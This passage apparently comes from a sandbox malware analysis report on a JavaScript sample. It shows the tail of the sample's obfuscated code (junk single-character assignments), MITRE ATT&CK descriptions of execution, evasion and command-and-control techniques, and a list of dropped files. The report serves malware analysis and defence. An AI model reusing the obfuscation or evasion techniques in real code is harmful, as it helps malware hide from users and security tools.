1306	pbkkuh = "q";
1307	pbkkuh = "p";
1308	pbkkuh = "J";
1309	pbkkuh = "v";
1310	pbkkuh = "r";
1311	pbkkuh = "E";
1312	pbkkuh = "T";
1313	pbkkuh = "x";
1314	pbkkuh = "h";
1315	pbkkuh = "d";
1316	pbkkuh = "j";
1317	cnzio = "Y";
1318	cnzio = "J";
1319	cnzio = "Z";
1320	cnzio = "R";
1321	cnzio = "z";
1322	cnzio = "w";
1323	cnzio = "d";
1324	cnzio = "S";
1325	cnzio = "r";
1326	cnzio = "i";
1327	cnzio = "w";
1328	cnzio = "C";
1329	cnzio = "A";
1330	cnzio = "h";
1331	cnzio = "X";
1332	cnzio = "R";
1333	cnzio = "A";
1334	cnzio = "F";
1335	cnzio = "r";
1336	cnzio = "A";
1337	cnzio = "k";
1338	cnzio = "R";
1339	cnzio = "d";
1340	cnzio = "K";
1341	cnzio = "L";
1342	cnzio = "t";
1343	cnzio = "U";
1344	cnzio = "U";
1345	cnzio = "A";
1346	cnzio = "s";
1347	cnzio = "i";
1348	cnzio = "F";
1349	cnzio = "L";
1350	cnzio = "F";
1351	cnzio = "r";
1352	cnzio = "z";
1353	cnzio = "A";
1354	cnzio = "V";
1355	cnzio = "r";
1356	cnzio = "u";
1357	cnzio = "A";
1358	cnzio = "k";
1359	cnzio = "A";
1360	cnzio = "g";
1361	npbkekj = "n";
1362	npbkekj = "E";
1363	npbkekj = "p";
1364	npbkekj = "a";
1365	npbkekj = "N";
1366	npbkekj = "g";
1367	npbkekj = "H";
1368	npbkekj = "F";
1369	npbkekj = "Z";
1370	npbkekj = "x";
1371	npbkekj = "C";
1372	npbkekj = "J";
1373	npbkekj = "O";
1374	npbkekj = "U";
1375	npbkekj = "d";
1376	npbkekj = "m";
1377	npbkekj = "e";
1378	npbkekj = "K";
1379	npbkekj = "v";
1380	npbkekj = "w";
1381	npbkekj = "j";
1382	npbkekj = "b";
1383	npbkekj = "P";
1384	npbkekj = "o";
1385	npbkekj = "V";
1386	npbkekj = "e";
1387	npbkekj = "c";
1388	npbkekj = "k";
1389	npbkekj = "c";
1390	npbkekj = "L";
1391	npbkekj = "H";
1392	npbkekj = "4";
1393	lyjrz = "S";
1394	lyjrz = "w";
1395	lyjrz = "j";
1396	lyjrz = "J";
1397	lyjrz = "P";
1398	lyjrz = "B";
1399	lyjrz = "a";
1400	lyjrz = "r";
1401	lyjrz = "Z";
1402	lyjrz = "m";
1403	lyjrz = "e";
1404	lyjrz = "r";
1405	lyjrz = "e";
1406	lyjrz = "a";
1407	lyjrz = "L";
1408	lyjrz = "Y";
1409	lyjrz = "h";
1410	lyjrz = "N";
1411	lyjrz = "w";
1412	lyjrz = "V";
1413	lyjrz = "e";
1414	lyjrz = "n";
1415	lyjrz = "f";
1416	lyjrz = "v";
1417	lyjrz = "b";
1418	lyjrz = "v";
1419	lyjrz = "f";
1420	lyjrz = "H";
1421	lyjrz = "l";
1422	lyjrz = "A";
1423	lyjrz = "M";
1424	lyjrz = "l";
1425	lyjrz = "H";
1426	lyjrz = "V";
1427	lyjrz = "f";
1428	lyjrz = "I";
1429	lyjrz = "E";
1430	lyjrz = "Y";
1431	lyjrz = "P";
1432	lyjrz = "S";
1433	tppzuvs = "u";
1434	tppzuvs = "H";
1435	tppzuvs = "Y";
1436	tppzuvs = "y";
1437	tppzuvs = "e";
1438	tppzuvs = "%";
1439	gxrxs = "a";
1440	gxrxs = "p";
1441	gxrxs = "j";
1442	gxrxs = "i";
1443	gxrxs = "F";
1444	gxrxs = "u";
1445	gxrxs = "x";
1446	gxrxs = "t";
1447	gxrxs = "Q";
1448	gxrxs = "f";
1449	gxrxs = "R";
1450	gxrxs = "H";
1451	gxrxs = "q";
1452	gxrxs = "n";
1453	gxrxs = "d";
1454	gxrxs = "J";
1455	gxrxs = "t";
1456	gxrxs = "F";
1457	gxrxs = "d";
1458	gxrxs = "c";
1459	gxrxs = "u";
1460	gxrxs = "u";
1461	gxrxs = "d";
1462	gxrxs = "I";
1463	gxrxs = "T";
1464	gxrxs = "t";
1465	gxrxs = "J";
1466	gxrxs = "i";
1467	gxrxs = "C";
1468	gxrxs = "j";
1469	gxrxs = "a";
1470	gxrxs = "v";
1471	gxrxs = "&";
1472	ohxhrn = "y";
1473	ohxhrn = "W";
1474	ohxhrn = "A";
1475	ohxhrn = "T";
1476	ohxhrn = "I";
1477	ohxhrn = "x";
1478	ohxhrn = "L";
1479	ohxhrn = "X";
1480	ohxhrn = "S";
1481	ohxhrn = "h";
1482	ohxhrn = "X";
1483	ohxhrn = "c";
1484	ohxhrn = "j";
1485	ohxhrn = "R";
1486	ohxhrn = "F";
1487	ohxhrn = "t";
1488	ohxhrn = "f";
1489	ohxhrn = "G";
1490	ohxhrn = "r";
1491	ohxhrn = "V";
1492	ohxhrn = "h";
1493	ohxhrn = "w";
1494	ohxhrn = "R";
1495	ohxhrn = "R";
1496	ohxhrn = "t";
1497	ohxhrn = "u";
1498	ohxhrn = "s";
1499	ohxhrn = "i";
1500	ohxhrn = "h";
1501	ohxhrn = "o";
1502	ohxhrn = "W";
1503	oprfvpfut = "r";
1504	oprfvpfut = "u";
1505	oprfvpfut = "u";
1506	oprfvpfut = "A";
1507	oprfvpfut = "T";
1508	oprfvpfut = "G";
1509	oprfvpfut = "R";
1510	oprfvpfut = "z";
1511	oprfvpfut = "d";
1512	oprfvpfut = "W";
1513	oprfvpfut = "o";
1514	oprfvpfut = "A";
1515	oprfvpfut = "e";
1516	oprfvpfut = "J";
1517	oprfvpfut = "Z";
1518	oprfvpfut = "d";
1519	oprfvpfut = "M";
1520	oprfvpfut = "l";
1521	oprfvpfut = "F";
1522	oprfvpfut = "K";
1523	oprfvpfut = "i";
1524	rfilz = "k";
1525	rfilz = "a";
1526	rfilz = "T";
1527	rfilz = "f";
1528	rfilz = "y";
1529	rfilz = "J";
1530	rfilz = "M";
1531	rfilz = "r";
1532	rfilz = "K";
1533	rfilz = "a";
1534	rfilz = "P";
1535	rfilz = "S";
1536	rfilz = "h";
1537	rfilz = "W";
1538	rfilz = "r";
1539	nedomrw = "C";
1540	hdcbppeh ( );	hdcbppeh() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 19165129872063820912.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF55839a.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bf3360e0-2081-4e64-82f8-e314c5c3328d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f764cdc6-1a33-4a15-9e78-c74aaadb0832.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
19165129872063820912.js